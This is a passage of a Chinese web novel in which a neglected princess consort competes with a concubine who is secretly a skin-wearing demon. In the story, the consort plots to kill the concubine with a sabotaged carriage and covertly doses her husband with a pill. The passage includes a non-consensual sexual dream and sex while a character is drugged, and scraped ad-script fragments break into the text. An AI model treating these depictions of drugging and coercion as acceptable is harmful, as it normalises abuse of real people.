夜深,端王处理完政事,便迫不及待地去了桃苑阁。 看到女子娇弱地躺在床榻上,面色苍白,心疼得直蹙眉。 凌昀生快步走到床榻前,握住安侧妃白嫩的手。 “小安,你受苦了。” 小安看到他来,挣扎地便要起身,凌昀生见状连忙将人扶着躺下。 “伤的这么重就不要再顾忌这些礼仪了。” 小安娇娇一笑。 凌昀生被她勾的心痒痒,呼吸粗重了些。 又见女子垂下眼眸:“此事也是妾身的不好,怠慢了王妃。” 凌昀生冷哼一声:“仗着自己是王妃这般蹉跎你,真是个泼辣的,小安你放心,这事本王决不会这样算了。” 自己美貌端庄的正妻竟落下个泼辣的称号,小安笑着,却不达眼底。 面上却仍然娇憨。 她柔柔地靠在凌昀生的肩头:“王爷,您待妾身真好。” 美人在怀,温香软玉,凌昀生的眼睛闪过晦暗。 他刚要有动作,便被女子巧妙地躲开。 小安不敢看他,羞涩地看向一边:“王爷,妾身还受着伤呢。” 凌昀生爽朗一笑。 “是本王心急了,小安你好生歇息吧。” 翌日。 卿琅阁里暖香升起,余晖透过窗口落在红木桌上,多了些许暖色。 许清秋摆好一桌佳肴,时不时看向门外。 小荷推开门,欣喜道:“王妃,王爷方才传言说一会来卿琅阁用膳。” 许清秋眉间一喜。 又连忙跑到镜前打量,一会儿摸摸发髻,一会儿看看妆容。 小荷笑道:“王妃哪哪都美极了,王爷见到肯定会喜欢的。” 许清秋的小心思被戳穿,有些羞涩,她转过头道:“贫嘴。” 小荷见状装模作样地拍拍自己的嘴:“王妃见谅,是奴婢失言。” 凌昀生推开门,许清秋连忙半跪着身子:“给王爷请安。” 女子一身嫩粉色袄裙,少了往日里的清雅,却多了几分娇嫩,仿若树上盛开的桃花,芳香宜人。 许清秋抬眸,看向凌昀生,眼中的欢喜与羞涩遮掩不住。 凌昀生本是来寻她发难的,但他是个爱美色的,见到许清秋眼睛都直了,哪里还能想起来前的目的。 他将许清秋扶起,女子的手柔软,他禁不住摩挲了两下。 许清秋惊了一下,然后挪开手。 凌昀生当她害羞,心情大悦。 “爱妃快坐,今日你我夫妻二人共同用膳。” 成婚一月之久,凌昀生虽知晓自己娶的王妃美貌,但早听说她的守旧死板,每日里只会在闺房里绣花,最爱读的书是《女戒》。 听后,他顿时旖旎的心思皆无,这种无趣的女子再美又有何乐趣。 而且…… 他刚成婚,便得了娇软美妾,人美身子软,床上的花样多,勾的他哪里还想的起自己的正妻。 现在看来,这个看起来死板的王妃,倒也确实生的美貌,不枉京城中的公子们对她念念不忘。 许清秋吃饭斯文,夹起筷子一口一口地吃着。 她嘴唇生的小,又红,平日里即使不涂胭脂也显得气色好,凌昀生不自觉地便将眼神落在她的唇部。 许清秋注意到王爷直勾勾的目光,心里一跳,连忙用手避开他的眼神。 她被王爷毫不避讳的目光吓到,用手挡住他是下意识的行为,反应过来才发觉冒犯了,心中揣测不安之际,却看到凌昀生勾起笑容。 他一向对美人有极强的包容心,此时对许清秋也是如此。 两人用过膳后,凌昀生忽然开口道。 “平日里疏忽了你,是本王的错,今夜本王便来卿琅阁,可好?” 许清秋眼神微闪。 这便是要与她补上洞房之夜的意思。 想到成婚前娘的教诲。 她乖乖地称道:“是。” 送走凌昀生后,许清秋忽然有些迷惘。 小荷欣喜道:“贺喜王妃,王爷终于看到您的好了,您可要把握好机会,早日怀上子嗣。” 许清秋点点头。 又有些惴惴不安:“小荷,我有些害怕。” 想到方才凌昀生堪称下流的目光,许清秋有些难受地垂下头。 小荷尚未成婚,不了解男女之间的事情,一时不太理解她的话,只是傻傻地安慰道:“王妃别害怕,有奴婢陪着您。” 许清秋笑笑,点点头。 * 王爷今夜留宿卿琅阁的消息传遍了王府,好多人暗中悄悄说王妃要得宠了,府中的风恐怕是要变了。 许清秋用花瓣泡澡后,又穿上特制的纱衣,小荷为她描眉,盘好发髻,抹好胭脂。 望着镜中的美人,许清秋有些难为情地撇开头。 “这衣裳……” 实在过于暴露了,清白人家的女子哪里会穿这种衣服,许清秋一向安分守己,更是接受不了。 小荷安慰道:“王妃莫要胡思乱想,这是夫人特意为您准备的,王爷是您的夫君,这只是闺房之趣罢了。” 许清秋勉强地点点头。 坐在床榻上之际,她忽然有些羞涩。 她在今夜过后,终于不用忍受旁人隐晦的目光了。 她会永远是端王妃,以后她的儿子会成为端王。 许久,都不见凌昀生的到来。 许清秋开始的羞涩也转化成了忧虑,害怕。 难道王爷出什么事了吗? “小荷?小荷!” 唤了几声,小荷才小心翼翼地推开门。 “王爷在哪?为何都这个时辰了还没到?” 她不敢看许清秋,支支吾吾道:“安侧妃突然伤病复发,发烧了,王爷正在桃苑阁。” 小荷以为许清秋会发脾气,摔东西,半晌没等到,她不安地抬眸看去。 却发现许清秋的脸上滑下两行泪,眼里满是落寞。 她独自坐在圆凳上,一口一口地咬着菜,吃到嘴里的却都是咸咸的泪。 — 清早,许清秋尚在睡梦中,便被小荷轻声唤醒。 “王妃,安侧妃来了,说要给您请安。” 许清秋头脑尚茫然,半晌才反应过来。 她冷笑一声:“本王妃不是免她养伤期间的请安了吗,又要猫哭耗子假慈悲了吗?” “给她说,不见。” 小荷半弯着身子说是。 小心地出了门。 看向虚弱站着身子的女子。 “安侧妃请回吧,王妃还在休息,不便打扰。” 受许清秋的影响,小荷看这女子是左右不顺眼。 昨夜王妃好不容易得宠,便传来桃苑阁有事,怎会这么巧。 真是个颇有心计的。 现在又跑来找事,莫不是来炫耀的吧。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 小安用衣袖掩住口鼻,咳嗽两声,模样看着甚为难受。 “王妃是还在生妾身的气吗?还请小荷丫鬟通报一声,说妾身昨夜突然发烧,实是无奈之举,扰乱了王爷与王妃二人,妾身羞愧至极,特前来赔罪。” 小荷想瞪她,奈何身份差距过大,只好不情不愿地称是。 许清秋听了小荷的话,却是淡淡一笑,心生一计。 “赔罪,如何赔罪,本王妃倒是要看看,她要如何赔我的罪。” 小安柔柔地跪在地上,看着极为弱不禁风的样子。 说出的话却让人惊愕。 “妾身知晓王妃近日心情不佳,妾身出身农家,家中养过几匹马,妾身虽愚钝,却也会些骑马的小技俩,恳请王妃同妾身去骑马放松心情。” 话落,小荷连忙惊慌地看向许清秋,悄悄凑到她耳边道:“王妃慎行啊,这狐狸精惯是个会耍手段的,倘若有什么危险……” 许清秋自然也懂这个道理。 但是骑马…… 身处闺房,娘每日教她绣花,读《女戒》,学习宫廷礼仪,琴棋书画,每一步都是为了将她培养成一个合适的联姻人选。 现在自然是成功的,她成为了端王妃,锦衣玉食,身份尊贵。 许清秋却有些厌倦,她曾见过骑马比赛,纵情飞跃草地,马上的人爽朗大笑,无忧无虑。 那时她便有了想要骑马的想法。 但她不敢,也不能。 许清秋忽然掀眸,盯着跪着的女子。 “就依你所言。” 小安浅浅笑着:“申时妾身在府外备好马车等候王妃。” 待人走后,小荷忍不住劝道:“王妃……” 许清秋闷声道:“在府外忽然遇难,便是自己命不好,小荷你说对吧。” 小荷沉默片刻,忽然懂了王妃所言,她眼睛一亮。 府内出人命可是大事,但是在外面,每日死的人命多得数不过来,突然丢了命,又能怪谁呢。 “王妃那您可得保护好自己,多带些侍卫。” 许清秋闷笑出声:“这是自然。” 为了约定的骑马之行,小荷想给许清秋找身干练的衣裳,翻遍衣柜才发觉,只有裙装,且都是精细布料,每件穿上都可出去游湖,参加宴会。 但今日不是去游玩,而是去骑马。 无奈之下,还是穿上了一件黑色的襦裙。 黑色不似其他颜色清雅,这件衣裳的设计较为简洁,倒也行动方便了些。 申时,小安已在府外等候。 现今世风清朗,女子也可出街游玩,只是需戴上面纱。 小安一身黑色劲装,将她凹凸有致的身材包裹起来, 颇有些英姿飒爽之风。 戴着的面纱更是给她增添了几分神秘之味。 头一次看到这样的小安,许清秋有些惊诧。 却不知小安看到她,同样眸光闪动。 许清秋往日里只穿月白色,湖蓝色,粉色…… 越鲜艳的衣裳她穿的越多。 如今她一袭黑裙,与往日大不相同,但都极美。 “王妃请上马车。” 小安扶住女子的胳膊,使力将人扶了上去。 许清秋有些不自在地伸回胳膊。 她抬眸看了小安好几眼。 是错觉吗? 她似乎感觉到对方扶她时,不经意间摩挲了下她的胳膊。 24. 画皮妖 街上熙熙攘攘,小贩的吆喝声此起彼伏。街巷两旁店铺的门板被潮气浸润得油亮。 偶有小儿嬉笑,追闹着。 马车行驶地很平稳,陡然,车轮压过一块石块,马车微微倾斜。 小安身上的伤口被撞到,她闷哼一声。 许清秋注意到,她蹙眉问道:“你的伤还未好?” 女子脸色苍白,额头冒出滴滴汗珠,显然疼极了。 小安摇摇头,勉强笑道:“无大碍的,王妃。” 许清秋移开目光。 不顾身上的伤口,还要拉她出来骑马,不知她有何居心。 “王妃,妾身是猎户家的女儿,父亲是负责打猎贩卖野生动物的,妾身年少时便能独自捕到兔子了,所以您不必担心。” 小安怯怯地看她,似乎真的以为她在关心自己,有些不好意思道。 许清秋嘴角含笑。 愚钝。 马车走了一阵,停下了。 是一个农场。 围栏里面养了数十只马匹。 匹匹鬃毛亮丽,健硕高大。 许清秋头一次有些好奇地望着远处的一切。 农场主不知两人的身份,但看二人的装扮便知晓是不可得罪的贵人,连忙热情地上前迎接。 得知二人是来骑马的,半蹲着身子,指着马匹,给她们介绍。 许清秋远远地看着一匹红色的小野马,毛发旺盛,颜色在期间最为鲜艳,悬着白色颈缨,配着画花银鞍,绣罗鞍罩,她一眼便看到了它。 注意到她的注视,小安抿唇笑着:“王妃喜欢这匹马吗?” 农场主闻言蹙眉:“这马性子可烈,近日刚收入农场,尚未驯化。” 他看了看身子娇弱的许清秋和小安,不住地摇头。 “这马恐怕两位夫人驾驭不住。” 许清秋闻言歇了心思,只是心头依旧遗憾。 小安眼睛亮亮的。 “没事的姐姐,就这匹,小安会保护你的。” 许清秋听到她的称呼,不可置信地看向她。 小安见状朝她安抚地笑笑。 眼里的意味似乎在说,王妃,在外面总不好叫您王妃吧。 许清秋撇开头,罢了。 穿戴好护具,许清秋看着这匹桀骜不驯的马匹,忽然有些后悔。 她萌生了退缩之意。 正欲离开,手腕忽然被人拉住。 小安看着她,眉眼弯弯:“姐姐,莫怕,小安会护住你的。” 许清秋硬着头皮被小安搀扶着身子,明明是个娇弱的女子,力气却出乎意料地大,被她弄上马后,许清秋还有些晕乎乎的。 “姐姐,用双腿夹住马肚子。” 看着女子颤颤巍巍的模样,小安忽然轻笑一声。 她轻点脚下,轻松地便跃上了马背。 将女子搂在怀里。 许清秋脸色一僵。 太近了。 挨得太近了。 女子温热的呼吸仿佛就在耳边。 乌黑的鞭子狠狠抽在马背上,马发出一声长啸,扬起蹄子飞奔而出。 许清秋吓得紧闭双眼,却听见身后爽朗的笑声。 小安看着女子白嫩的脖颈,眼底晦暗,她忽然更凑前来,两人几乎紧贴在一起。 许清秋察觉到后方女子温软的身体,顿时一僵,小安柔软的两团就贴在她的后背,许清秋从未和旁人有过如此亲密的举动,男子没有,女子亦没有。 这种感觉让她毛骨悚然,她忍不住道:“离本王妃远点。” 小安轻声应是,往后面坐了些,两人顿时中间隔了一人宽的位置。 没等许清秋松口气,便发现没了小安的拥护,她根本摇晃地控制不住自己,生怕下一秒便会跌下马。 许清秋闭着眼,咬牙道:“往前坐点。” 小安这次应得极快,她笑得极为明媚。 马匹在草地上奔跑,风拂过耳边,凉快极了。 许清秋在恐惧过后,便感觉到自由。 这个词似乎同她无半点关系。 但在这刻,她真真切切地感觉到灵魂被释放。 后面的女子凑前来,问道:“姐姐,你开心吗?” 她的呼吸从许清秋的耳边钻进,让她有些痒,许清秋不自在地躲开。 没有得到回应,耳边只有风声。 小安却不生恼,她身上的伤口被压的又溢出了血,女子脸上却尽是满足。 她微微俯身,与前方那女子贴的更紧了些,鼻尖仿若都是她的香味。 小安眼里闪过痴迷。 “吁……” 小安轻扯缰绳,身子微微后仰,马停了下来。 她先是纵身跳了下去,又握住许清秋的手,将人拉了下来。 小安眉眼弯弯。 许清秋别过头,不看她。 快了。 她眸光微闪。 走出农场,方才还亲密无间的两人便像陌生人一般,许清秋快步走着,将身后的女子落在后面。 想到方才小安对自己的照顾,许清秋忽然有些犹豫。 想到自己嫁入王府后所受的委屈,她又冷了神色。 小安被无情丢下,倒也不恼。 她慢悠悠地走着,眼睛却直勾勾地盯着前面的倩影。 她轻轻抿唇,如毒蛇般粘腻恐怖的眼神紧紧地跟随着许清秋。 便见许清秋忽然转过身,快步向她走来。 “跟我走。” 小安一双水眸疑惑地看着她:“王妃,我们不是要上马车回王府吗?” 许清秋咬牙道:“别管。” 小安很乖,被她拉走,也不追问。 许清秋撇开目光。 那辆马车被使了手段,马夫会半路离开,马失控,坠入悬崖。 这便是她精心设下的局。 无论是她自己狠不下心,还是方才小安对她无微不至的照顾,都让她动了恻隐之心。 总之。 她现在不想杀小安了。 小安若有所思地看着许清秋,嘴角翘起,不知在想什么。 很快,许清秋带来的侍卫驾来一辆马车。 看到回来的是两人,侍卫即使心里惊愕,面上却不显。 这辆马车显然舒适度就不如来时那辆了。 摇摇晃晃的,颠簸着。 许清秋身体娇弱,骑马已耗费了她大部分体力,上了马车便快快地昏睡过去了。 她似乎在做梦。 风吹竹叶,竹叶抖动,密密的竹林生长着,绿意盎然。 水滴落在青石板上,发出“嗒,嗒,嗒……”的声音。 远处晨光熹微,一间屋子映入眼帘。 许清秋推开门。 室内安墨漆罗钿屏风床,红罗圈金杂彩绣帐,香炉冒起袅袅烟气。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这个看起来普通的屋子里面竟然布置得极为精细。 一女子半躺在床榻上,绣鞋无力地耷拉在床沿,她看向许清秋,眼尾上扬,忽然勾唇道:“姐姐你来了。” 女子的面容模糊,许清秋瞪大眼仔细辨认,却依旧看不清面容。 “你、你是谁?” 女子弯下嘴唇,眼里闪过受伤。 她下了床,搂住女子细软的眼神。 只轻轻一推,便将人推到那榻上去。 “姐姐可真冷漠,不是姐姐你把我困在这屋子中的吗?现在反倒问起我是谁了,难不成姐姐在外面也像困我这般金屋藏娇了?” 女子凑近她,仔细嗅闻着。 没有旁人的气息,只有属于姐姐的味道。 女子满意地笑笑。 她亲了下许清秋的脸颊,又撬开她的唇瓣,用舌尖描绘着她的唇形,与她一同纠缠。 许清秋迷茫地被支配着。 感觉到女子大逆不道的行为,她这才恍然,连忙想要起身。 这可是一个女子,她竟然同一个女子做这般亲密的行为。 女子被她反抗的行为红了眼。 她眼垂泪,柔柔地啜泣着。 “姐姐莫不是厌了我。” 没等许清秋回答,她忽然冷了脸色。 花苞被雨水打落,许清秋吃痛一声。 “姐姐将我锁在这屋子,人不人鬼不鬼的,只教我独守在这等着伺候姐姐,如今反倒是翻脸不认人了。” 许清秋吃痛,嘶了一声。 女子见状又连忙说是自己的错,垂下身子,说给她呼呼就不疼了。 许清秋感觉到温软的气息,身子一僵,正欲推开她,女子却忽然垂首,花苞被雨水吞并,许清秋羞得脸通红。 她使劲地想要推开人,却发觉对方力气极大,自己根本摆脱不开她的控制。 女子掀起水眸,看向许清秋的眼神满是痴迷。 她又开始啃咬许清秋的唇瓣,手又从衣领处伸了下去。 许清秋眼泪沁在眼眶之际:“不、不要……” 女子亲亲她的唇,她最爱许清秋这般哭样,眼看女子垂泪的娇样,她更是兴奋。 “姐姐好美。” 许清秋猛然惊醒。 整个人又惊又怕。 眼圈红了一圈,泪水打湿了脸颊。 这是一个什么可怕的梦。 小安担忧地看着她,拿着手帕给她擦流出的泪水:“王妃,您怎么了?是梦魇吗?怎么哭的这般厉害。” 许清秋半晌才回过神,她白着脸点头。 或许是方才梦魇,尚未清醒过来,许清秋一路上都是战战兢兢的。 连眼角生出的泪珠都忘了擦。 小安将自己的肩膀递给了许清秋,让她靠着自己歇息。 女子粘稠的目光直直地落在许清秋脸上,恍惚的女子却丝毫未发觉。 小安用手沾下那滴泪珠,不经意间伸到唇边,将唇部浸湿。 咸的。 小安看着许清秋红红的眼眶。 好可怜啊。 可怜得她好想将姐姐吞下去。 小安将人护在怀里,做了一个意想不到的举动。 她拍拍许清秋的肩膀,轻哄道:“姐姐莫怕,没事的,小安在您身边。” 许清秋缩在小安怀里,莫名的心安,只当她是此时自己的依靠。 25. 画皮妖 那日过后,因为心中的怪异,许清秋便开始有意无意地远离小安,小安却一反往常似地黏着许清秋。 美人榻上,身着月白色袄裙的女子休憩,身子微微倾斜,屋内的暖香升起。 另一边,鹅黄衣裳的女子手持画笔,神情认真。 笼中的鹦鹉扯着嗓子道:“姐姐……姐姐……” 暖香快要燃尽之时,小安终于停下了笔。 她看向画布,有些失望。 这时,床榻上小憩的许清秋也醒来了。 她起身,眼里尚还带着刚醒来的茫然,平日里端庄的模样不再,整齐的发髻被睡的有些歪斜。 小安嘴角含笑,迎了上去。 “姐姐,您醒来了。” 许清秋一双水眸落在她的脸上,眼里还带着怔意。 小安看着她这副娇憨的模样,忍俊不禁,她上前拥住许清秋:“姐姐这个样子好乖啊。” 许清秋缓慢回神过来,声音有些哑:“你怎么来了?” 自从那日骑马过后,小安便不再叫她王妃,一直叫她姐姐,许清秋不满过,但见小安自始至终改不过来,便也随她去了。 门外传来敲门声,小荷刚踏进屋内,看清眼前这幕,神情怪异。 鹅黄色衣裳的安侧妃紧紧地搂着月白色衣裳的王妃,安侧妃背对着她,小荷只能看到王妃懒散的模样,听见动静,两人齐齐地看了过来,相拥的姿势让人想到了两枝连理枝紧紧攀附。 小荷脸色一白,吓了一跳。 她暗叹自己怎么会有这么奇怪的想法。 许清秋这才恍然发现两人还紧紧地搂着,连忙将人推开。 整理了一下衣裳,许清秋看向小荷:“有何事发生?” 小荷双手微微颤动:“王爷在赌馆输光了身上所带的银两,喝的大醉,现在正在楼春坊。” 楼春坊——京城最大的花楼。 许清秋脸色一白,身子往后退,幸好后面的小安扶住了她。 她怎么敢忘了,自己嫁的夫婿是个有名的纨绔子弟,赌博赛马一样不差,如今更是花楼都逛上了。 小安微微蹙眉,眼中强忍泪水,还是将人搂在怀里,温柔地安慰着王妃:“姐姐莫怕,指不定是个误会呢,要相信王爷。” 许清秋失魂落魄,听见这话仿佛找到主心骨似的,她点点头。 小荷不敢抬头,半晌没听见动静,这才微微抬眸。 便看见安侧妃的手落在王妃的腰身上,这姿态占有的意味十足。 似乎感觉到小荷的视线。 安侧妃微微撇头,直勾勾地盯着小荷。 小荷瞳仁放大,牙齿打颤。 仿若毒蛇般粘稠的眼神看着她。 似乎在说,莫要说什么不该说的。 * 许清秋心绪始终不安,她失魂落魄地坐在床沿边。 倘若这事是真的。 京城中的人都会知晓。 端王妃刚嫁进王府一月有余,端王不仅独宠美妾,还堂皇而然地去逛花楼。 他们会怎么看她。 又会有什么流言蜚语传扬。 许清秋眼里含着恐惧。 忽然听见脚步声。 她抬头看去。 小安迈着轻盈的步伐走来,她手里拿着一块画布。 “姐姐快看,这是小安为姐姐作的画。” 画布展开,许清秋神情一怔。 画上的女子很美,神情倦怠,睡容安详。 作画的人技艺高超,廖廖几笔便能将人物的特点勾勒出来。 似乎下一刻这美人便会从画中走出来。 这不就是她吗? 小安观察着她的神情,含笑道:“姐姐生的美,小安只能画出姐姐七分神韵来。” 许清秋摇摇头,她手指轻点在画布上,眼神复杂。 “你有什么目的?” 哪家的妾会对正妻这般好,双方都是水火不容,恨不得剥对方的皮,抽对方的骨,自己享受独宠。 小安想要的又是什么。 是在王府中有个依靠,让自己日子好过一点吗? 许清秋神情冷淡。 她已经得到了,王爷对小安宠爱有加,府中上上下下的人都知晓,谁又敢怠慢她,她又为何费尽心思来讨好她这个不得宠的正妻。 小安作状思考,唔了一声。 “姐姐问这话倒是难住妾身了,小安只是想对姐姐好罢了,倘若真要说出一个理由——” 她看向许清秋,女子盯着她,神情认真。 小安轻笑一声:“那就当小安觉得姐姐生的极美好了,出落得这般标志的美人自然是不能受苦的。” 许清秋微微错愕。 这个理由当真胡扯。 小安自是知道许清秋不会信的,小安看向画布上的美人。 又看向面前的女子。 啧。 果真是比不得的。 这话倒没骗许清秋,小安最是喜爱美丽的皮囊,那是最为蛊惑人心的手段。 倘若拥有了一张心仪的皮囊,小安会耐心地将它清洗干净,再穿在身上,好生照料,待厌倦了,才会无情地将它丢掉,继续寻找下一张美丽的皮囊。 许清秋经她这么一番,倒是心情好些了,不去胡思乱想些事情了。 眼里也含着笑意。 直到—— 端王大醉地被人送回了王府。 许清秋看向小厮,麻木问道:“你再说一遍,王爷是从哪里回来的?” 小厮跪在地上,直磕头:“草民是楼春坊遣来的,端王爷昨夜在楼春坊歇息着,喝的醒不过来神,妈妈吓坏了,生怕出什么事,这才连忙让我们前来送人。” 小荷见王妃神情不佳,连忙挥手道:“王妃知晓了,王爷既是送到了,还不快走。” 小厮扭扭捏捏,支支吾吾道:“王妃,王爷昨夜在楼春坊赏了一百两银子,这钱还没清算呢。” 许清秋扯开笑容,笑得勉强:“去找管家清算。” 小厮脸上一喜:“谢谢王妃,草民告辞了。” 许清秋心里似乎裂开了一个口子。 果真去花楼了。 一切都是真的。 她忽然头脑发晕,胸闷,只听见小荷惊慌喊道:“王妃!” 许清秋向后倒去。 屋外雨声渐起,滴滴答答,打在窗棂上,传来闷响。 许清秋眼皮轻颤,刚醒来,眼前还是灰蒙蒙的。 她的手似乎被人握着,对方的手软软的,好似一团棉花。 “姐姐。” 小安轻喊着她。 许清秋眼前清晰了。 小安那张花容月貌的脸颊映入眼帘,面色关切。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “姐姐你吓坏小安了,幸好幸好……” 许清秋忽然啜泣道:“小安,王爷他真的去花楼了。” 对方身子僵了一下,微微俯身,将许清秋搂进怀里。 “姐姐莫怕,姐姐莫怕。” 许清秋在她肩头止不住地啜泣。 一切都已成定局了。 京城中的女子会耻笑她,百姓会恶意揣测她,消息传到了将军府,这便是奇耻大辱,她给将军府蒙羞,爹娘自是不会轻饶她的。 小安轻嗅女子的秀发,淡淡的桂花香味。 她的眼眸晦暗。 姐姐好可怜。 哭得好伤心。 都怨那个管不住自己下半身的男人。 小安磨牙,心里的恶意如浓雾般升起。 既然管不住自己,那就该承受相应的代价。 害的姐姐这么难受。 小安这般愤慨。 手下却放肆地将女子禁锢在自己的怀里。 享受着女子将她作为依靠,一心依赖着她。 心里愉悦的小安,哪里还能想起。 若不是自己,端王哪里会在赌坊输个精光,又哪里会受人挑唆,打破了自小父王给他立下的规矩,在楼春坊缠绵一夜。 大哭过的许清秋喝过一碗粥后,体力耗尽,又沉睡了过去。 小安面色温柔,给她掖好被子。 “王爷在何处?” 丫鬟恭恭敬敬道:“还在内室中睡着呢。” 小安嘴角含笑,快步走向内室。 凌昀生脸上还映着红霞,昏睡中的人没有注意到女子的注视。 小安口中呼出雾气。 方才沉睡的凌昀生立马便清醒过来了。 他睁开眼,便看见小安端坐在床沿边,静静地守着自己。 心生感动。 伸手拉住小安的手,女子的手白皙滑嫩,握在手里好似没有骨头似的。 凌昀生喉结滚动,眼里一暗,体内的欲/火又升了起来。 “本王的好小安,还是你最体贴本王。” 他将小安搂在怀里,心猿意马,正欲将人往床榻上带。 怀里的女子忽然伸出手指,轻点在凌昀生的下巴处。 “王爷你爱小安吗?” 小安媚眼如丝,如钩子般的眼神落在凌昀生脸上,凌昀生被她勾的魂都要飞了。 “好小安,本王自是最爱你的。” 小安捂住嘴,娇娇地笑着。 “王爷既然爱我,可否给小安你的皮呢?” 凌昀生呼吸一滞,眼睛都红了:“本王的心肝,本王的娇娇,别说是皮了,心本王也给的。” 小安将他轻轻推开,欲拒还迎状:“小安又不是什么精怪,要王爷的心做甚。” “那便这样说好了。” 小安轻吐雾气,便见凌昀生倒在床上。 她直起身子,轻点脚步,倘若有旁人在场,便会惊愕地发现这女子竟是没有影子的,小安散漫地坐在桌前的圆凳上,嘴角含笑,看着床上男子的癫狂模样。 凌昀生疯了般地扭动身体。 嘴上还喊着:“心肝,小安,给我,给我……” 小安娇笑道:“小安这便给王爷了,王爷答应的可莫要忘了。” 雨声渐渐大了,盖住了屋内这场诡异情/事的声音。 26. 画皮妖 “王妃,枉你对安侧妃体贴,那个狐狸精竟然趁着王妃昏睡,偷偷爬上了王爷的床榻,听守夜的丫鬟说,折腾了一晚上呢,羞得人不敢靠近。” 跑出去打听到消息的小荷恨恨道。 醒来后面色红润些的许清秋听着小荷的怨言,握着的帕子险些让手指搅碎。 眼里的泪珠便滑了下来。 “王爷他为何这般作践我……” 小荷闻言心疼地看向许清秋。 忽然想到什么,她欲言又止,偷偷抬眸看向许清秋。 正啜泣的许清秋察觉到,哑着嗓子道:“小荷有什么话就快说吧。” 小荷面露难色:“方才出门的时候,接到了将军府的传话。” 许清秋神情一滞。 她颤着嘴唇问道:“……何话?” “老爷和夫人已知晓您与王爷成婚一月尚未圆房的事情了,发了好大的脾气……” 许清秋白了脸。 她看向小荷。 小荷伸出手,一枚褐色的药丸,圆滚滚的。 她凑到许清秋耳边,悄声道:“夫人说这是秘药,可以促进王妃与王爷之间的感情,希望王妃抓住机会,早日怀上子嗣。” 许清秋颤着手接过药丸。 轻声嗯了一声。 * 凌昀生的风流之事传到了皇帝的耳中,皇帝勃然大怒,但众所周知,皇帝一向对凌昀生这个侄子颇为宠爱。 所有人都以为凌昀生为皇室蒙羞,少不了一顿教训,结果皇帝下旨,让他在府中好生反省,罚抄清心咒一百遍,这个教训实在不痛不痒。 愚笨人诧异之际,聪明人眼底深色,已经想到深处了。 凌昀生的父王是皇帝关系最为要好的兄弟,两人还是王爷的时候,一起上书堂骑马打猎,形影不离,直到宸王——也就是皇帝,一朝成为太子,君王多疑,心狠手辣,似乎永远免不了俗。 为了成功登基,太子第一剑,挥向的就是自己最好的兄弟,无他,只因为端王是影响自己登基的最大障碍,亲兄弟的血液铺就了太子登基的第一条道路。 此后的他,愈发猖狂,九子夺嫡,成为最后的赢家,登上皇位。 那时,凌昀生只有七岁。 或许是人到晚年,难免心软,惭愧之意迟迟升起,便将这份关切转移到了兄弟的儿子——凌云彻身上。 可谓是宽容到极致。 落日余晖,点点红霞。 或许是因为主子被罚的缘由,极为安静,府中的下人老老实实地做自己的事情,生怕引火上身。 许清秋端着热粥往书房走,观察到药丸彻底溶于粥中,这才放下心来。 望着面前的木门,许清秋轻呼口气,为自己接下来要做的事做好心理准备。 轻轻叩门。 “何人?” 许清秋轻声道:“王爷,妾身听膳房的人说您一上午都未进食,特意为您熬了粥。” 凌昀生将门打开,力道极大,他的神情肉眼可见的不耐烦。 许清秋的手微微颤动。 “本王不想吃东西,拿下去吧。” 许清秋没应,跟着他的步伐进了屋子。 将粥放在桌上。 “王爷这般烦心,妾身心里也不好受。” 许清秋眉眼温柔,似乎能够包容一切。 凌昀生撞见她的眸子,心下松动。 “王妃有心。” 他坐在椅子上,头疼一阵一阵地袭来,凌昀生紧蹙眉头,用手支撑着头。 许清秋走上前来:“王爷可是头痛,妾身可以为王爷按摩。” 她走到凌昀生身后,手指落在他的太阳穴,轻轻按压,力道舒缓,身后女子的芳香传来,凌昀生舒服地哼唧了一声。 许清秋一边给凌昀生按摩,一边目光落在桌前。 满满的字,前面还比较端庄,到后面潦草极了,活脱脱的草书。 许清秋轻笑一声:“王爷写的可是清心咒?” 凌昀生被她安抚地舒服了,态度也温和了:“你认得清心咒?” 许清秋点点头:“幼时被罚写过,那时性格比较顽劣。” 想到幼时的事,许清秋眼里闪过暖意。 凌昀生可不管她的回忆,立马抓住了重点。 “那不就好办了,爱妃这么心疼我,不如替我抄书可好?” 许清秋惊愕地张开嘴巴:“这、这恐怕不行吧,这可是陛下下的命令。” 凌昀生心中厌烦升起,又来了,陈旧端庄的闺房女子。 这也不敢,那也不敢。 眼见凌昀生神情冷峻,许清秋心中一跳,害怕自己的事情化为泡沫,许清秋咬咬牙:“妾身自是心疼王爷……好!妾身替你抄,但还是希望王爷不要辜负妾身的美意,那粥再不喝便要凉了。” 凌昀生见自己头疼的事情解决了,心中一喜,喝粥什么的自是不在意。 他快步走到桌前,端起碗一饮而尽。 将碗倾斜着给许清秋展示,表示自己已喝光了。 许清秋始终直直地看着他,想到自己做的事情,心里升起一丝紧张。 见碗里果真什么也不剩了,她的心终于落下了。 脸上也真心实意地笑着。 许清秋坐在桌前,认真地磨墨,在纸上落在秀气的字,她悄悄抬眸,仔细观察着对方的反应。 凌昀生一开始坐得好好的,慢慢的,脸上升起红霞,整个人有些按耐不住。 许清秋心中明了,药效开始发作了。 便见他忽然倒在了桌前,“砰”的一声,声音极响,显然磕得不轻。 许清秋惊愕地走了过去,怎么会这样。 这药好像并没有使人晕迷的效果。 但事情已经走到这一步了,她没法回头了, 许清秋艰难地将他的胳膊放在自己的脖颈处,缓慢地将人放在书房内室的床榻上。 她正欲动作,眼前忽然昏暗,无力地倒了下去。 芙蓉纹路窗半开,点点亮光透过檀色的金丝篾帘筛进屋内,跳动在重重烟帐之后映出女子如云的鬓角。 许清秋茫然地睁开眼,想要用胳膊撑住床榻起身,身上的疼痛令她嘶了一声。 听见动静,小荷连忙上前将她扶起。 被子无力地滑落,女子身上的痕迹便这样显露出来。 小荷别过头,脸红了,悄悄地抱怨一声:“王爷怎么这样啊……” 许清秋有些茫然,不该在这里呀。 她记得明明是在书房内室的床榻上,为何自己醒来会在卿琅阁。 回想昨夜的事情。 似乎是一个身子柔软的女子搂住她,贴在她身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上,许清秋神情一慌,怎么可能。 昨夜那人分明是有男人的那物的,怎么可能会是女子。 是凌昀生,一定是的。 